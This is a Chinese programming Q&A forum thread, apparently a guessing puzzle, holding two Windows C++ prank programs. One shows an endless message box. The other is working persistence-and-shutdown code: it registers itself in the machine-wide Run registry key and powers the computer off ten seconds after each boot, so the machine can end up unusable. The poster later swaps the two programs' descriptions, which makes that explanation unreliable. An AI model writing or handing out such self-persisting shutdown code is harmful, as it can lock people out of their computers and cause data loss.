0
已解决
郝天尘
资深光能
资深光能
#include<windows.h>
using namespace std;
int main(){
while(1){
MessageBox(NULL,"三连了吗? ”,”额........问",MB_ICONEXCLAMATION|MB_OK);
}
}
2.
#include <iostream>
#include <windows.h>
BOOL EnableShutDwonProv()
{
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tkp = {};
BOOL bRet = FALSE;
do
{
// Get a token for this process.
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
break;
if (!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid))
break;
tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Get the shutdown privilege for this process.
if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0) == 0)
break;
bRet = TRUE;
} while (FALSE);
if (FALSE == bRet)
{
SetLastError(GetLastError());
}
if (hToken)
{
CloseHandle(hToken);
}
return bRet;
}
BOOL RegisterModfiy()
{
BOOL bRet=FALSE;
do
{
//打开注册表
HKEY h_key = nullptr;
int lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")
, NULL, KEY_WRITE|KEY_WOW64_64KEY, &h_key);
if (ERROR_SUCCESS != lResult)
{
break;
}
TCHAR pFileName[256] = {0};
DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH);//得到当前程序地址
//修改注册表
if (ERROR_SUCCESS != RegSetValueEx(h_key, TEXT("windows api"), 0, REG_SZ, (PBYTE)pFileName, dwRet*2))
{
break;
}
bRet = TRUE;
} while (FALSE);
return bRet;
}
int main()
{
if (!EnableShutDwonProv())
{
return -1;
}
if (!RegisterModfiy())
{
return -1;
}
Sleep(1000 * 10);//给10秒钟处理时间 .以防难以处理该程序而造成麻烦。。。。
if (!ExitWindowsEx(EWX_SHUTDOWN, FALSE))
{
return -1;
}
return 0;
}
第2个千万不要尝试
郝天尘在2022-10-18 20:38:36追加了内容
不然你的电脑嘿嘿了
郝天尘在2022-10-19 19:32:01追加了内容
ding
郝天尘在2022-10-24 13:23:37追加了内容
我公布
就是
ding
第
一个
是无限关机
第2个是
无限弹窗
0
已采纳
熊潇然
初级启示者
初级启示者
第一个加上#include<bits/stdc++.h>
main函数结尾加上return 0
这样就不会报错了
而且经过我大致的判断,第一个是无限弹窗,不要轻易尝试
1
0
0
0
0
0
0